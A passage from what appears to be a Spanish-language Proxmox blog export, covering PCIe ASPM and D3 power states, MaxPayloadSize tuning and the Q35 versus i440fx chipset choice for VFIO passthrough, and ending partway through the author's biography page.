de módulo disable_idle_d3 de vfio-pci:\n# /etc/modprobe.d/vfio.conf options vfio-pci disable_idle_d3=1 Esto impide que vfio-pci ponga en D3 cualquier dispositivo enlazado cuando está ocioso. Como pcie_aspm=off, es un ajuste global. Todo dispositivo enlazado a vfio-pci se queda en D0. Eso suele ser lo que quieres para el passthrough, donde el invitado debería ser lo único que controle el estado de energía del dispositivo.\nLa opción disable_idle_d3 es independiente del ASPM. El ASPM controla el enlace. D3 controla el dispositivo. Ambos pueden causar problemas de forma independiente. Para una configuración de passthrough limpia, desactiva ambos.\nControl de ASPM por dispositivo Si no quieres desactivar el ASPM globalmente — quizá tengas otros dispositivos PCIe en el host que se beneficien del ahorro de energía — puedes controlar el ASPM por enlace vía sysfs:\n# Find the link\u0026#39;s ASPM policy cat /sys/bus/pci/devices/0000:XX:00.0/link/l1_aspm # Disable ASPM for a specific link echo 0 \u0026gt; /sys/bus/pci/devices/0000:XX:00.0/link/l1_aspm Esto es más quirúrgico pero menos fiable a través de reinicios y actualizaciones del kernel. Para la mayoría de montajes de passthrough, el parámetro global pcie_aspm=off del kernel es más simple y más predecible.\nCuándo el ASPM no es el problema No toda fluctuación de latencia es ASPM.\nSi tus percentiles de clat son consistentemente altos (no solo la cola), es más probable que el problema sea la sobrecarga de traducción del IOMMU, una mala alineación NUMA o un desajuste de MPS. El ASPM causa específicamente un patrón bimodal — la mayoría de las E/S rápidas, unas pocas lentas — porque solo afecta a las E/S que llegan cuando el enlace está en un estado de bajo consumo.\nComprueba el ASPM primero cuando veas:\nLatencia p99 5 veces o más por encima de la media Resultados de fio inconsistentes entre ejecuciones Latencia que mejora bajo carga sostenida pero empeora con cargas a ráfagas Si la latencia es consistentemente mala sea cual sea el patrón de carga, mira en otra parte. Merece la pena descartar el ASPM pronto porque es barato de probar. No es la respuesta a todo enlace lento, eso sí, y perseguirlo cuando los números no encajan con el patrón es una tarde que no recuperarás.\nReferencias Linux kernel PCI documentation — ASPM parameters — código fuente del kernel que cubre pcie_aspm=off y opciones relacionadas Proxmox Forum — PCI Passthrough NVMe Unable to Change Power State — hilo de la comunidad que cubre disable_idle_d3 para controladoras NVMe de Samsung Proxmox VE Wiki — PCI(e) Passthrough — documentación oficial sobre la configuración del passthrough ","permalink":"https://blogs.damiendye.uk/es/proxmox/pcie-aspm-passthrough/","summary":"La gestión de energía en estado activo (ASPM) ahorra unos vatios en enlaces PCIe ociosos. Bajo passthrough VFIO añade fluctuación de latencia difícil de diagnosticar y fácil de arreglar.","title":"ASPM de PCIe y por qué deberías desactivarlo para el passthrough"},{"content":"Qué es el MPS Los dispositivos PCIe transfieren datos en paquetes llamados paquetes de la capa de transacción (TLP). Cada TLP tiene una cabecera y un payload. El tamaño máximo de ese payload es el MaxPayloadSize (MPS).\nEl MPS se negocia entre un dispositivo y su puente aguas arriba durante el entrenamiento del enlace. El valor negociado es el menor entre lo que admite el dispositivo y lo que permite el puente. Cada puente y conmutador en el camino entre el dispositivo y el complejo raíz tiene su propia capacidad de MPS. El MPS final de cualquier dispositivo lo fija el punto más estrecho de la cadena.\nLos valores de MPS habituales son 128, 256 y 512 bytes. Algunos dispositivos admiten 1024 o incluso 4096 bytes, pero en la práctica 256 o 512 es lo típico para controladoras NVMe y tarjetas de red. Las GPU suelen admitir 256 bytes.\nPor qué importa Un MPS mayor significa menos paquetes para la misma cantidad de datos. Una E/S de 4 KB transferida con MPS 128 necesita 32 TLP. La misma transferencia con MPS 512 necesita 8 TLP.\nCada TLP acarrea sobrecarga de protocolo — la cabecera, el CRC, el entramado. Menos TLP significa menos sobrecarga de protocolo por byte transferido. A alto rendimiento, esa diferencia es medible. No dramática. Pero real. Y es la misma sobrecarga, pagada en cada paquete.\nEl MPS también afecta a lo bien que se aprovecha el enlace PCIe. Payloads más pequeños hacen que el enlace pase más tiempo en cabeceras respecto a datos. Payloads más grandes desplazan la proporción hacia datos útiles.\nLa misma carga útil de 4 KB cuesta 32 cabeceras de paquete con MPS 128 y 8 con MPS 512 MPS 128 — una transferencia de 4 KB se vuelve 32 TLP 32 cabeceras × ≈24 B —\u0026#160;≈16 % de los bytes en el cable es sobrecarga de protocolo MPS 512 — los mismos 4 KB se vuelven 8 TLP 8 cabeceras × ≈24 B —\u0026#160;≈4 % de los bytes en el cable es sobrecarga de protocolo cabecera, número de secuencia, CRC y entramado carga útil Ambas tiras llevan los mismos 4 KB. Una carga útil mayor no mueve más datos — pasa menos del enlace describiéndolos. La ganancia medida es pequeña. Ambas tiras llevan los mismos 4 KB. Las barras macizas son las cabeceras por paquete — con MPS 128 hay 32, con MPS 512 solo 8. El impacto en la latencia es menor que en el rendimiento. Una sola lectura de 4 KB con MPS 128 frente a 512 no mostrará una diferencia de latencia que merezca medirse, porque los TLP van en cauce. Pero fuerza muchas IOPS con muchas transferencias en vuelo y la menor sobrecarga de un MPS mayor se acumula.\nEl problema bajo passthrough En hardware nativo, la BIOS fija el MPS durante el POST según la topología PCIe. La BIOS de un servidor moderno suele fijar el MPS al máximo que admite la topología, normalmente 256 o 512 bytes.\nBajo QEMU, el complejo raíz del chipset Q35 virtual tiene su propia capacidad de MPS. Por defecto, presenta un MPS bajo. La política de MPS por defecto del kernel de Linux (pcie_bus_default) fija el MPS de cada dispositivo para que coincida con su puente padre, lo que en una topología virtual significa el valor por defecto del complejo raíz de QEMU. A menudo 128 bytes.\nComo tal, un dispositivo capaz de payloads de 512 bytes corre a 128 porque el complejo raíz virtual fijó el techo.\nEl MPS lo fija el punto más estrecho del camino, que bajo QEMU es el complejo raíz virtual Hardware nativo — la BIOS fija el MPS según la topología real NVMeadmite 512 Conmutador PCIepermite 512 Complejo raízpermite 512 MPS = 512 B el más pequeño del camino Pasado a una VM — el complejo raíz virtual es ahora el punto más estrecho NVMeadmite 512 Complejo raíz virtual QEMU Q35 presenta 128 por defecto MPS = 128 B capacidad del dispositivo sin usar Kernel del host con\u0026#160;pci=pcie_bus_perf NVMeadmite 512 cada dispositivo al máximo de su bus padre MRRS elevado en consecuencia MPS = 512 B fijado en el host, no en el invitado El MPS es el valor más pequeño del camino. Pasar un dispositivo por passthrough inserta el complejo raíz virtual en ese camino, y su conservador valor por defecto se convierte en el techo de todos. Cómo arreglarlo — lado del host Dile al kernel que fije el MPS al máximo que admite el bus padre de cada dispositivo:\n# Add to GRUB_CMDLINE_LINUX_DEFAULT in /etc/default/grub pci=pcie_bus_perf Esto fija el MPS de cada dispositivo al mayor valor que permite su bus padre. También fija el MRRS (Max Read Request Size) en consecuencia. El código fuente del kernel dice que se asegura de que el MPS de un dispositivo no sea mayor que el de su padre. Eso mantiene la cadena coherente a la vez que consigue los mejores tamaños de transferencia.\nTras reiniciar, verifica el nuevo MPS:\n# Check MPS on a specific device lspci -vv -s XX:00.0 | grep -i \u0026#34;MaxPayload\u0026#34; Deberías ver MaxPayload 256 bytes o MaxPayload 512 bytes en vez del 128 por defecto.\nLas otras opciones del kernel El kernel ofrece cuatro políticas de MPS, cada una fijada con el parámetro de arranque pci=:\npcie_bus_tune_off — no tocar el MPS en absoluto. Usa lo que fijó la BIOS. En hardware nativo con una buena BIOS, esto suele estar bien. Bajo QEMU, la BIOS es OVMF o SeaBIOS, que puede no optimizar el MPS.\npcie_bus_default — el valor por defecto del kernel. Fija el MPS de cada dispositivo para que coincida con su puente aguas arriba. Conservador y seguro, pero no maximiza el rendimiento.\npcie_bus_safe — fija el MPS al mayor valor que admiten todos los dispositivos del sistema. Útil para sistemas cerrados donde conoces todos los dispositivos y no se conectará nada en caliente. Ligeramente más agresivo que el por defecto.\npcie_bus_perf — fija el MPS por dispositivo al mayor valor que permite el bus padre. Cada dispositivo obtiene el mejor MPS que admite su topología local. Esta es la elección correcta para el passthrough porque optimiza cada camino de forma independiente.\npcie_bus_peer2peer — fija el MPS a 128 bytes en todo. Cada dispositivo habla al menor tamaño común. Se usa cuando los dispositivos necesitan hacer DMA directamente entre sí (GPU a GPU, GPU a NIC vía RDMA). No sirve para el passthrough estándar.\npcie_bus_perf es la correcta para el passthrough.\nCómo arreglarlo — lado del invitado Puedes fijar pci=pcie_bus_perf también en la configuración de arranque del kernel del invitado. Si tiene algún efecto práctico depende de cómo presente QEMU la topología PCIe virtual. El complejo raíz virtual limita lo que el invitado puede negociar.\nEn mis pruebas, el arreglo del lado del host es el que se sostiene. El host es dueño del dispositivo físico, y su ajuste de MPS fija el tamaño real de TLP en el cable. El ajuste del invitado solo toca la topología virtual dentro de la VM, y si eso cambia el comportamiento real depende de cómo presente QEMU el camino PCIe para ese dispositivo.\nFíjalo en el host. Fijarlo también en el invitado no hace daño, pero no dependas de eso solo.\nQué es el MRRS El Max Read Request Size (MRRS) es algo relacionado pero distinto. El MPS limita cuántos datos puede enviar un dispositivo en un TLP. El MRRS limita cuántos datos puede pedir un dispositivo en una petición de lectura.\nUn dispositivo con MRRS 4096 puede emitir una sola petición de lectura de 4 KB. La respuesta vuelve en varios TLP, cada uno de hasta el tamaño del MPS. Un MRRS mayor significa que el dispositivo puede pedir más datos por transacción, reduciendo el número de TLP de petición de lectura en el bus.\nEl MRRS dimensiona la petición, el MPS dimensiona cada paquete de la respuesta Controladora NVMe MRRS 4096 B memoria del host vía el complejo raíz 1 × petición de lectura — «envíame 4 KB» El MRRS limita cuánto puede pedir una petición 8 × TLP de finalización — 512 B cada uno El MPS limita el tamaño de cada paquete de la respuesta Una petición, muchos paquetes.\u0026#160;pci=pcie_bus_perf\u0026#160;eleva ambos, así que no hace falta ajustarlos por separado. Los dos se confunden con facilidad: el MRRS limita cuánto puede pedir un dispositivo en una petición, el MPS limita cómo de grande puede ser cada paquete de la respuesta. pci=pcie_bus_perf fija tanto el MPS como el MRRS a sus valores óptimos. No necesitas ajustarlos por separado.\nImpacto frente a otros ajustes La diferencia de MPS entre 128 y 512 bytes tiene menos impacto en el rendimiento que la alineación NUMA o el ASPM. Suele ser una mejora de un porcentaje de un solo dígito bajo en el rendimiento. No la verás en pruebas de latencia con profundidades de cola pequeñas.\nPero es una optimización gratis. Un parámetro del kernel, sin inconvenientes, sin riesgo de compatibilidad. No hay razón para no fijarla en cualquier sistema que haga passthrough.\nNo cuesta nada, y ya has pagado el hardware. Bien puedes tener lo que compraste.\nReferencias Linux kernel PCI Kconfig — MPS and MRRS tuning options — fuente autoritativa de las cuatro políticas de MPS Linux Plumbers Conference 2017 — MPS vs MRRS (PDF) — presentación de Sinan Kaya sobre el manejo de MPS/MRRS del kernel ","permalink":"https://blogs.damiendye.uk/es/proxmox/pcie-maxpayloadsize/","summary":"El complejo raíz virtual de QEMU usa por defecto payloads TLP de 128 bytes. La mayoría de dispositivos admiten 256 o 512. Un parámetro del kernel lo arregla.","title":"PCIe MaxPayloadSize — una mejora de rendimiento gratis para el passthrough"},{"content":"Qué son i440fx y Q35 Toda máquina virtual de QEMU tiene un chipset virtual. Define la placa base virtual entera — la topología de bus PCI/PCIe, el puente sur, el controlador de interrupciones, lo que el SO invitado ve cuando enumera el hardware al arrancar.\nQEMU ofrece dos opciones: i440fx y Q35.\ni440fx emula el Intel 440FX — nombre en clave Natoma, lanzado en 1996 como el chipset para el Pentium Pro y, más tarde, el Pentium II. Presenta un bus PCI plano sin soporte nativo de PCIe. Fue el tipo de máquina original de QEMU y ha sido el por defecto durante mucho tiempo. No está mal para un chipset diseñado para el Pentium Pro.\nQ35 emula el Intel Q35 Express, lanzado en junio de 2007 para la generación Core 2, emparejado con el puente sur ICH9. Le da al invitado un complejo raíz PCIe en condiciones y un controlador de interrupciones moderno. Los dispositivos pasados por passthrough aparecen como dispositivos PCIe nativos con la topología correcta.\nAmbos son virtuales. Ninguno afecta al hardware real que usa el host. La diferencia está en lo que ve el SO invitado.\nEl bus PCI plano de i440fx frente al complejo raíz PCIe de Q35 i440fx — un solo bus PCI plano Intel 440FX «Natoma» — Pentium Pro / Pentium II, 1996 vCPU bus PCI 0 NVMePCI heredado NIC solo INTx IDE heredado Audiode pega MSI-X no disponible — solo interrupciones INTx Sin AER — errores PCIe invisibles para el invitado Sin ACS — aislamiento IOMMU más débil Un bus compartido — un grupo IOMMU Q35 — complejo raíz PCIe Intel Q35 Express + ICH9 — época Core 2, junio de 2007 vCPU complejo raíz PCIe puerto raíz puerto raíz puerto raíz NVMeMSI-X NIC multicola GPU AER + ACS MSI-X — un vector de interrupción por cola AER — el invitado ve y maneja los errores PCIe ACS — DMA punto a punto controlado Cada ranura puede tener su propio grupo IOMMU Toda diferencia que sigue nace de esto: i440fx cuelga cada dispositivo de un único bus compartido, mientras que Q35 le da a cada ranura su propio puerto raíz bajo un complejo raíz PCIe. Por qué Q35 importa para el passthrough Los dispositivos pasados a una VM i440fx aparecen como dispositivos PCI heredados sin importar lo que sean en realidad. El invitado los ve como «dispositivos PCI muy rápidos» en vez de dispositivos PCIe. Algunos controladores funcionan bien así. Otros esperan PCIe y se comportan mal o se niegan a cargar cuando no lo encuentran.\nEl complejo raíz PCIe de Q35 cambia el cuadro de varias maneras.\nMSI-X MSI-X (Message Signalled Interrupts — Extended) requiere PCIe. Bajo i440fx, MSI-X o recae en interrupciones INTx heredadas o directamente no funciona.\nEsto importa mucho para NVMe. Las controladoras NVMe dependen de MSI-X para su arquitectura multicola. Cada par de colas de E/S obtiene su propio vector de interrupción. Sin MSI-X, todas las finalizaciones de E/S se embudan por una única interrupción, lo que crea un cuello de botella con muchas IOPS.\nTambién importa para las tarjetas de red modernas y las GPU. Cualquier dispositivo que use múltiples vectores de interrupción para repartir carga entre núcleos de CPU necesita MSI-X.\nINTx embuda cada finalización NVMe por una interrupción; MSI-X le da a cada cola su propio vector i440fx — INTx: una línea para cada cola cola 0 cola 1 cola 2 cola 3 1 × INTx vCPU 0 las finalizaciones se serializan — un techo con muchas IOPS Q35 — MSI-X: un vector por cola cola 0 cola 1 cola 2 cola 3 4 × vectores MSI-X vCPU 0 vCPU 1 vCPU 2 vCPU 3 cada cola se completa en su propio núcleo Con INTx, las finalizaciones de todas las colas llegan por una sola línea de interrupción y aterrizan en una vCPU. Con MSI-X, cada cola lleva su propio vector y se completa en su propio núcleo. AER (Advanced Error Reporting) El AER de PCIe permite al invitado detectar y manejar los errores del dispositivo en condiciones en vez de fallar en silencio. Bajo i440fx, el invitado no tiene visibilidad de los errores a nivel PCIe.\nPara una carga de producción con un dispositivo pasado por passthrough, tragarse los errores en silencio es un problema. El AER le da al controlador del invitado la capacidad de registrar, informar y en algunos casos recuperarse de errores de hardware que de otro modo pasarían inadvertidos hasta que los datos se corrompen.\nACS (Access Control Services) El ACS controla el DMA punto a punto entre dispositivos del mismo bus. Es parte del modelo de aislamiento del IOMMU. Impide que un dispositivo haga DMA sobre el espacio de memoria de otro sin pasar por el IOMMU.\nBajo i440fx, la topología de bus virtual no admite ACS en absoluto. Esto no rompe el passthrough básico, pero debilita el aislamiento que se supone que te da el IOMMU.\nPresentación de grupos IOMMU La jerarquía PCIe de Q35 significa que cada ranura virtual puede sentarse en su propio grupo IOMMU dentro del invitado. i440fx amontona todo en un bus compartido, lo que hace problemática la configuración del IOMMU del lado del invitado.\nEsto es relevante para la virtualización anidada, donde el propio invitado necesita grupos IOMMU limpios. También es relevante para vIOMMU, que solo está disponible en Q35.\nvIOMMU Si necesitas que el propio invitado tenga capacidad IOMMU — para passthrough anidado, para DPDK o para ciertas configuraciones de seguridad — eso requiere el tipo de máquina Q35.\nLa emulación vIOMMU deja al invitado ejecutar su propio IOMMU, lo que es útil para:\nPassthrough de VM anidada (una VM dentro de una VM con acceso a dispositivos) Redes DPDK en espacio de usuario donde la aplicación necesita protección IOMMU Configuraciones de seguridad que requieren aislamiento DMA dentro del invitado Por qué Q35 importa más allá del passthrough Aunque no estés haciendo passthrough, Q35 es la mejor elección para cargas modernas.\nFirmware OVMF (UEFI) La combinación de Q35 y OVMF le da al invitado un entorno de arranque UEFI moderno con soporte de Secure Boot. i440fx puede usar OVMF pero la combinación está menos probada y algunas funciones no van bien.\nWindows 11 requiere UEFI con Secure Boot. Los requisitos de hardware de Microsoft lo exigen. Windows Server 2025 funciona mejor con UEFI. Q35 con OVMF es el camino soportado para ambos.\nSi estás ejecutando una VM de Windows 11 o Server 2025 sobre i440fx con SeaBIOS, estás peleándote contra la corriente. Puede que funcione hoy. No es hacia donde va el ecosistema.\nAHCI Q35 incluye emulación AHCI (Advanced Host Controller Interface) nativa a través del puente sur ICH9. i440fx usa la emulación IDE más antigua o LSI SCSI para los discos de arranque.\nPara almacenamiento VirtIO esto no importa. VirtIO se salta por completo la controladora de almacenamiento del chipset. Pero si estás usando emulación SATA para un SO invitado que carece de controladores VirtIO en el momento de la instalación, AHCI en Q35 es mucho más rápido que IDE en i440fx.\nIDE atrapa cada acceso a registro; AHCI construye las órdenes en la RAM del invitado y toca un único timbre frontera host / hipervisor — cada cruce cuesta una salida de VM i440fx — IDE: cada acceso a registro atrapa controlador IDE en el invitado E/S por puerto, un acceso cada vez 5 × salida de VM para emitir una orden PIIX3 IDE 1 orden en vuelo Sin NCQ — la siguiente orden espera a que termine la anterior IRQ 14/15, INTx disparado por nivel — más salidas para enmascarar y reconocer Q35 — AHCI: construido en RAM, un solo timbre controlador AHCI en el invitado lista de órdenes en RAM invitada — gratis 1 × salida de VM AHCI HBA (ICH9) hasta 32 en cola (NCQ) Las órdenes en cola se completan fuera de orden — el disco reordena para reducir el desplazamiento MSI-X — sin línea compartida que identificar, sin viaje de ida y vuelta EOI El IDE se programa un registro cada vez a través de puertos de E/S heredados, y cada acceso atrapa hacia el host. AHCI deja que el invitado construya la orden en su propia memoria y toque un único timbre. La sobrecarga que i440fx acarrea y Q35 no La brecha de AHCI no es solo cuestión de que una controladora sea más nueva. Es que i440fx hace que el invitado le pague al hipervisor en casi cada interacción, y Q35 en su mayoría no.\nAcceso a registros atrapado. El IDE se programa a través de puertos de E/S x86 heredados. El invitado escribe el número de sectores, luego los registros LBA, luego el registro de orden. Cada escritura toca un puerto distinto. Cada uno de esos accesos es atrapado y emulado por el host, y cada trampa es una salida de VM que cuesta microsegundos de un solo dígito. Emitir una orden IDE cuesta por tanto varias salidas antes de que se mueva dato alguno.\nAHCI funciona al revés. El invitado construye una tabla de órdenes en su propia RAM — sin trampas, porque no es más que escribir en memoria — y luego hace una escritura MMIO a un registro-timbre para decirle a la controladora que la recoja. Una orden cuesta más o menos una salida en vez de cinco o seis.\nSin encolado de órdenes. El IDE emite una orden y espera a que termine. AHCI admite NCQ, así que puede haber hasta 32 órdenes pendientes, y la unidad es libre de completarlas fuera de orden para reducir el desplazamiento del cabezal. Como tal, el coste por orden restante se reparte por una cola en vez de pagarse de uno en uno.\nEl camino de interrupción heredado. La controladora IDE PIIX3 señala la finalización en las IRQ heredadas fijas 14 y 15, entregadas como INTx disparadas por nivel. Una interrupción disparada por nivel tiene que reconocerse y desenmascararse, y como las líneas INTx son compartidas, el invitado también debe averiguar qué dispositivo la levantó. Cada uno de esos pasos es otra trampa. MSI-X, que necesita Q35, es una simple escritura en memoria sin línea compartida que identificar y sin viaje de ida y vuelta de reconocimiento. En hardware con interrupciones diferidas puede llegar al invitado sin salida alguna.\nUna mayor superficie de dispositivos heredados. i440fx siempre presenta sus dispositivos de plataforma heredados, incluida la controladora IDE, use la VM o no. Ocupan ranuras PCI, se enumeran y sondean en cada arranque, y los controladores del invitado pueden consultarlos. Q35 presenta un juego más pequeño y moderno. Menos que aguantar para el host, menos que recorrer para el invitado.\nNada de esto aparece en una VM respaldada por VirtIO, y por eso la diferencia es fácil de pasar por alto. Importa durante la instalación, en imágenes de appliance sin controladores VirtIO, y en cualquier invitado que aún use SATA o IDE emulado para su disco de arranque.\nMenos dispositivos virtuales, topología más limpia i440fx viene con hardware virtual heredado que Q35 deja fuera. Una tarjeta de sonido de pega. Una controladora IDE heredada. Ninguna hace nada útil, pero ambas queman ranuras PCI virtuales y pueden confundir al software del invitado que intente usarlas.\nQ35 presenta un juego de hardware virtual más limpio que se parece más a lo que expondría un servidor físico moderno.\nQ35 tira a la papelera los dispositivos de plataforma heredados que i440fx mantiene en ranuras PCI virtuales i440fx los dispositivos heredados ocupan las ranuras Controladora IDE heredada Controladora de disquete (FDC) Funciones heredadas PIIX3 Otros dispositivos de plataforma heredados libre libre reemplazado por AHCI a la papelera por Q35 Q35 menos dispositivos, ranuras de sobra ICH9 AHCI (SATA) Puertos raíz PCIe libre para un NVMe (passthrough) libre para una NIC libre para una GPU libre La controladora IDE heredada se reemplaza en vez de quitarse — todo lo demás va a la papelera, dejando ranuras libres para los dispositivos que de verdad quieres pasar por passthrough. La dirección del viaje RHEL 10 ha declarado obsoleto i440fx Red Hat ha declarado formalmente obsoleto el tipo de máquina i440fx en RHEL 10. Eso marca la dirección del viaje para todo el ecosistema KVM. Cuando Red Hat declara algo obsoleto, significa que han dejado de probarlo como camino de primera clase y no arreglarán los fallos atados a él.\nEl proyecto QEMU upstream lleva años debatiendo la obsolescencia de i440fx. El consenso es que mantener dos caminos de chipset es una carga. Q35 es el que se corresponde con el hardware moderno.\nProxmox no ha seguido Proxmox VE sigue creando las VM nuevas como i440fx. El tipo de máquina en el asistente de creación pone «Default (i440fx)», y así se queda a menos que lo cambies. Q35 está a un desplegable de distancia, pero es una elección que tienes que hacer a propósito, en cada VM que construyes.\nEsa es la razón entera de que este post exista. El por defecto es el chipset de 1996, y nada en el asistente te dice que la elección importa.\nCambiar una VM existente Si tienes una VM existente en i440fx, puedes cambiar a Q35 en los ajustes de hardware o directo en la configuración:\nmachine: q35 Esto es en la práctica un cambio de placa base virtual. Hardware distinto en el siguiente arranque.\nLinux en general maneja esto sin problema. El kernel reenumera los dispositivos y carga los controladores correctos. Los nombres de interfaz cambiarán porque la NIC virtual pasa de un bus PCI a un bus PCIe. Si tu configuración de red los nombra (p. ej. eth0, ens18), actualízala antes de reiniciar o pierdes el acceso a la red.\nWindows es menos indulgente. El cambio de chipset significa IDs de hardware virtual distintos para la controladora de almacenamiento, el adaptador de red y otros dispositivos de plataforma. Windows puede necesitar reinstalar controladores. En algunos casos una instalación limpia es el camino más limpio. El Windows más viejo es el infractor habitual.\nFreeBSD y derivados (OPNsense, pfSense) en general manejan el cambio, pero prueba primero.\nEn todos los casos, prueba en una VM que no sea de producción antes de cambiar nada que importe.\nCuándo aún hace falta i440fx Un puñado de casos aún necesitan i440fx.\nSistemas operativos invitados heredados anteriores a UEFI — Windows XP, Windows 2000 y similar cosecha — pueden no arrancar bajo Q35. Estos SO esperan la topología PCI heredada y el SeaBIOS que aporta i440fx.\nCiertas imágenes de appliance están construidas y probadas exclusivamente contra i440fx. Si el fabricante solo soporta i440fx, eso es lo que usas hasta que lo actualicen.\nPara todo lo demás — VM de Linux nuevas, Windows moderno, cualquier carga con passthrough — usa Q35. No hay nada que ganar aferrándose a un chipset de 1996 por costumbre.\nReferencias Proxmox VE Wiki — PCI(e) Passthrough — documentación oficial de Proxmox que señala Q35 como el tipo de máquina recomendado para el passthrough QEMU Q35 Chipset Specification (PDF) — el documento de diseño original de QEMU Q35 Proxmox Forum — Q35 vs i440fx Discussion — debate de la comunidad que cubre las diferencias prácticas ","permalink":"https://blogs.damiendye.uk/es/proxmox/q35-not-i440fx/","summary":"Los dos chipsets virtuales de QEMU no son intercambiables. Q35 aporta una topología PCIe en condiciones de la que dependen el passthrough, el Windows moderno y todo el ecosistema KVM.","title":"Usa siempre Q35, no i440fx — por qué importa en Proxmox VE"},{"content":"Soy Damien Dye.\nIngeniero de preventa para Europa y APAC en croit GmbH, miembro fundador de la Ceph Foundation y Proxmox Gold Partner oficial.\nVeintitantos años de eso han sido la parte pagada: plataformas Microsoft, Linux, aplicaciones empresariales, virtualización, redes, almacenamiento y seguridad. La parte pagada no es el todo. Construyo cosas y las rompo desde mediados de los noventa, y llevo Linux en serio desde 1999, años antes de que a nadie le pareciera digno de pagarme por ello, y cuento esos años porque se aprende tanto de un equipo que es tuyo como de uno que ha asegurado otro.\nSouth Yorkshire, así que lo tendrás sin rodeos. Si algo funciona, te diré por qué. Si no funciona, te lo diré también, y antes de que te hayas gastado el dinero mejor que después.\nLos primeros años Desmonto ordenadores desde los ocho años. Mi primera máquina fue un Atari STfm con 512K de memoria.\nMi primer PC llegó a los doce, con Windows 3.11, y de ahí pasé por toda la serie: 95, 95b, 95c, 98, 98SE y luego Windows 2000.\nAquello no era usar software. Era averiguar qué cambiaba de una versión a la siguiente, qué se rompía por el camino, y cómo poner en marcha algo que había decidido que prefería no hacerlo.\nEL RECORRIDO POR WINDOWS — 3.11 \u0026#8594; 10 3.11 95 98 2000 XP XP64 bits Vista64 bits 764 bits 8.1 10 Mi primera conexión a internet fue un módem de 56k en Freeserve — uno de los primeros proveedores gratuitos del Reino Unido. Pasé a ADSL en cuanto estuvo disponible en 2001, con Demon Internet. Luego a VDSL en 2008, y por fin a fibra con Zen Internet en 2017 — ahí llegó el IPv6 nativo. Ahí empezó todo en lo que a redes se refiere, y hay un buen trecho hasta las mallas de 100GbE que diseño ahora. Pero la curiosidad era la misma.\nLa red local empezó aún antes, y más a lo bruto. Mi primera LAN fue 10BASE2 — cable coaxial fino, conectores BNC y un terminador de 50 ohmios en cada extremo, con todas las máquinas compartiendo un mismo bus de 10 Mbit. Conseguí que dos PC hablaran por ahí, y añadí un concentrador de 5 puertos cuando aparecieron más máquinas. Aquel concentrador acabó siendo un conmutador — un salto de verdad, porque cada puerto tenía su propio dominio de colisión en lugar de pelearse todo por un coaxial compartido. Después llegó el inalámbrico, en cuanto fue asequible: 802.11b a 11 Mbit, en tarjetas PCMCIA Orinoco Gold en los portátiles. Bus coaxial, concentrador compartido, Ethernet conmutado, wifi — recorrí cada paso a mano.\nTambién construí instalaciones de Windows XP totalmente desatendidas. Usaban los viejos DriverPacks para inyectar controladores y scripts propios para instalar aplicaciones automáticamente. Se pasaba de la máquina desnuda a un sistema plenamente configurado sin tocar el teclado. Aquello era pensar en automatización años antes de oír hablar de Ansible — y era sobre Windows, no sobre Linux.\nEncontrar Linux Empecé con Linux a los quince, en SuSE 6. Fui directo a las distribuciones que te obligan a entender qué pasa por debajo.\nEn las vacaciones de Navidad de 2001 construí un sistema completo con el libro Linux From Scratch. Cada paquete compilado a mano. Cada dependencia entendida. Cada decisión de configuración tomada a propósito.\nPara 2002 había pasado a Gentoo. Gentoo funciona con el mismo principio: construyes todo el sistema desde el código fuente, entiendes qué hace cada bandera USE, y cuando algo se rompe sabes exactamente dónde mirar.\nLINUX — EL RECORRIDO POR LAS DISTRIBUCIONES SuSE6–7.2 Mandrake Gentoo Ubuntu RHEL Fedora Explorar otras plataformas Nunca me quedé con una sola arquitectura.\nTuve un sistema DEC Alpha de 2001 a 2007. El Alpha era el procesador RISC de 64 bits de Digital Equipment Corporation, lanzado en 1992 — una máquina de 64 bits de verdad más de una década antes de que el x86 lo alcanzara con AMD64 en 2003. Corría Tru64 UNIX, OpenVMS, Windows NT y Linux, y durante un tiempo fue más o menos lo más rápido que podías poner en un escritorio. A través de las discusiones de la comunidad conseguí que funcionaran el USB y el FireWire. Hasta le monté un adaptador de PCMCIA a ISA por detrás, para que las mismas tarjetas PC que usaba en los portátiles — la Orinoco Gold entre ellas — funcionaran en el Alpha de sobremesa. No es poca cosa en una plataforma donde nada estaba garantizado.\nLe eché un vistazo a BeOS. Abordaba el multihilo y el multimedia de una forma completamente distinta a todo lo demás de entonces.\nEn la universidad, un colega y yo rescatamos estaciones Sun SPARC que iban a la basura y construimos Gentoo en ellas. SPARC era la arquitectura RISC de Sun Microsystems, presentada en 1987 — el motor de las estaciones y servidores Sun que sostuvieron buena parte del mundo Unix en los noventa, normalmente bajo Solaris. Poner un Linux compilado desde el código a funcionar en ese hardware era el objetivo entero. Porque por qué no, si el equipo está ahí y quieres ver si funciona.\nTambién he construido y trabajado con Linux en ARM y ARM64, en Raspberry Pi y Odroid. Y he usado Windows en ARM64.\nUsa el mismo sistema operativo en x86, Alpha, SPARC, ARM y ARM64 y las suposiciones que hiciste en uno no te siguen al siguiente — orden de bytes, alineación, tamaño de página, soporte de controladores y rarezas de la cadena de compilación se mueven todos bajo tus pies. Eso importa más que nunca ahora que ARM64 está en el centro de datos junto al x86, y es el razonamiento que mantiene honesto un parque Ceph o Proxmox de arquitecturas mezcladas.\nTambién experimenté con IPv6 muy pronto. Tenía acceso a 6bone — la red de pruebas experimental de IPv6. 6bone fue un banco de pruebas mundial que arrancó en 1996 para desarrollar y desplegar IPv6 antes de que internet en producción estuviera preparado. Llevaba IPv6 sobre todo por túneles IPv4, usaba su propio rango 3ffe::/16, y se apagó a propósito el 6 de junio de 2006, una vez que el IPv6 nativo maduró lo bastante para sostenerse solo. Usaba tanto la pila IPv6 de Linux como la de Microsoft Research para Windows XP. He pasado por todo. Empecé con túneles de IPv6 dentro de IPv4. Pasé a 6to4 (RFC 3056) para el tunelado automático. Y después al IPv6 nativo completo cuando me fui a un proveedor decente — Zen Internet. La mayoría de la gente no tocó IPv6 hasta que su empresa les obligó. Para entonces yo ya había pasado por todos los mecanismos de transición, en Linux y en Windows, porque quería entender hacia dónde iban las redes. Por eso IPv6 me resulta natural ahora en lugar de algo añadido después. Hoy, el noventa por ciento de mi tráfico va por IPv6 nativo. Uso una extensión de navegador llamada IPvFoo que me enseña qué usa cada conexión y si los sitios sirven protocolos mezclados o solo IPv4. Vieja costumbre — prefiero ver qué pasa de verdad, no suponerlo.\nIPv6 — DOS DÉCADAS, DE LO EXPERIMENTAL A LO CRÍTICO De una pila de pruebas en casa a producción a escala nacional 6bone — el banco de pruebas experimental de IPv6 Pilas IPv6 de Linux y de Microsoft Research en paralelo Túneles de IPv6 en IPv4 IPv6 sobre la internet IPv4, configurado a mano 6to4 (RFC 3056) Tunelado automático — sin intermediario que mantener IPv6 